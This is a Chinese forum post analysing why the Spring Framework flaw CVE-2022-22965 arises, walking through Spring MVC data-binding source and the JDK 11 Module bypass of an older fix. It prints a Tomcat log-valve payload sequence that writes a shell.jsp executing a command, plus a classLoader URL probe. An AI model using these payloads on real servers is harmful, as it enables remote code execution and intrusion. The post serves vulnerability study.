论坛
潜水/灌水快乐,沉淀知识,认识更多同行。
ToB圈子
加入IT圈,遇到更多同好之人。
朋友圈
看朋友圈动态,了解ToB世界。
ToB门户
了解全球最新的ToB事件
博客
Blog
排行榜
Ranklist
文库
业界最专业的IT文库,上传资料也可以赚钱
下载
分享
Share
导读
Guide
相册
Album
记录
Doing
搜索
本版
文章
帖子
ToB圈子
用户
免费入驻
产品入驻
解决方案入驻
公司入驻
案例入驻
登录
·
注册
只需一步,快速开始
账号登录
立即注册
找回密码
用户名
Email
自动登录
找回密码
密码
登录
立即注册
首页
找靠谱产品
找解决方案
找靠谱公司
找案例
找对的人
专家智库
悬赏任务
圈子
SAAS
ToB企服应用市场:ToB评测及商务社交产业平台
»
论坛
›
安全
›
网络安全
›
浅谈CVE-2022-22965漏洞成因(六)
浅谈CVE-2022-22965漏洞成因(六)
汕尾海湾
金牌会员
|
2022-11-30 00:39:30
|
显示全部楼层
|
阅读模式
楼主
主题
849
|
帖子
849
|
积分
2547
前言:记录一篇自己入门java安全的故事,捋一下思路,轻量知识 ,重在调试 !
.
这篇文章四个部分:
引入篇:整理一下CVE-2022-22965漏洞的来龙去脉
基础篇:回顾Java中一些基础的内容
调试篇:阅读Spring MVC部分源码
分析篇:分析CVE-2010-1622、CVE-2022-22965的漏洞成因
.
分析篇
( 紧接" 浅谈CVE-2022-22965漏洞成因(四)”,复现并分析一下CVE-2022-22965漏洞成因 )
CVE-2022-22965漏洞分析
1、在Struts2框架的S-20的问题中的攻击手法
这里我们仅需要了解一个思路,CVE-2022-22965中的攻击手法与这个相同,其payload如下:
//修改写入文件所在的根目录
http://127.0.0.1:8080/FirstStruts2/login?class.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
//修改写入文件的名称
http://127.0.0.1:8080/FirstStruts2/login?class.classLoader.resources.context.parent.pipeline.first.prefix=shell
//修改写入文件的后缀名
http://127.0.0.1:8080/FirstStruts2/login?
class.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
//修改文件日期格式,用于切换目录
http://127.0.0.1:8080/FirstStruts2/login?
class.classLoader.resources.context.parent.pipeline.first.fileDateFormat=2
//访问shell.jsp将会记录日志
http://127.0.0.1:8080/FirstStruts2/shell.jsp?=<%Runtime.getRuntime().exec("calc");%>
复制代码
看完前面的调试过程,再看这个payload基本上没什么问题,不再过多叙述。
.
带Spring MVC项目的项目部署到Tomcat中(或者Spring Boot可执行jar,内置web服务器),多加个module改下Payload,就能写入个日志文件,且是jsp格式的。
简单的改一下,用下面的Payload,访问(无攻击效果),看看Spring MVC版本5中是如何对请求传参作递归解析、获取PropertyDescriptor以及在这个过程中怎么绕过了CVE-2010-1622中Spring官方的修复
http://localhost:8090/SpringMVC5/level/info?class.module.classLoader.URLs[1]=jar:http://localhost:9999/test.jar!/
复制代码
2、调试Spring MVC版本5中请求传参作递归解析
从DataBinder开始
DataBinder调用AbstractPropertyAccessor的setPropertyValues方法遍历每一个参数并开始对每一个参数进行解析,我们只传了了一个需要递归解析的请求参数,所以,在setPropertyValues里只会进行一轮迭代
AbstractPropertyAccessor调用AbstractNestablePropertyAccessor的setPropertyValue方法,在这个方法中,有解析形如"var1.var2.var3.var4.var5"这种形式的请求参数
解析class的过程如下:
解析module的过程如下:
解析classLoader的过程如下:
对class.module.classLoader.URLs[]赋值的过程如下:
第一个参数解析完毕!
3、绕过原因分析
重点就是这里,本来的拦截规则是当内省的bean是class且获取到的PropertyDescriptor是classLoader时,CachedIntrospectionResults是不能缓存classLoader这个PropertyDescriptor的,但是jdk11中多了个Module的特性,当内省的bean是Module时,CachedIntrospectionResults就能缓存classLoader这个PropertyDescriptor了。
.
.
写在最后:
4月份时就分析了这个漏洞,但由于各种原因,拖到现在才总结出来,中间有许多有趣的东西都遗忘了,再加上临近期末,各种事情凑团,有很多细节的东西都没补充全。
再有就是本文重在通过调试分析整个代码执行的过程,不过多追求如何攻击,payload利用需要根据Spring部署的环境视情况而定,找到可利用链。(PS:自己也不是很懂)
.
推荐阅读:
光闪师傅写的《深入理解Spring MVC源代码》
P牛师傅写的Java安全漫谈
yiran4827师傅的Struts2 S2-020在Tomcat 8下的命令执行分析
https://cloud.tencent.com/developer/article/1035297
Ruilin师傅的SpringMVC框架任意代码执行漏洞
http://rui0.cn/archives/1158
麦兜师傅的Spring 远程命令执行漏洞分析
https://paper.seebug.org/1877/
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
本帖子中包含更多资源
您需要
登录
才可以下载或查看,没有账号?
立即注册
x
回复
使用道具
举报
0 个回复
倒序浏览
返回列表
快速回复
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
or
立即注册
本版积分规则
发表回复
回帖并转播
回帖后跳转到最后一页
发新帖
回复
汕尾海湾
金牌会员
这个人很懒什么都没写!
楼主热帖
RabbitMQ 进阶 -- 阿里云服务器部署Rab ...
一文了解袋鼠云在实时数据湖上的探索与 ...
redis实现主从复制
Spark快速上手(3)Spark核心编程-RDD转 ...
Vue 全套教程(二),入门 Vue 必知必 ...
在Ubuntu系统上安装StoneDB数据库 ...
5分钟安装Kubernetes+带你轻松安装isti ...
Kafka生产者
基于FPGA的一维卷积神经网络CNN的实现 ...
专业的C头文件设计和重构指南 ...
标签云
挺好的
服务器
快速回复
返回顶部
返回列表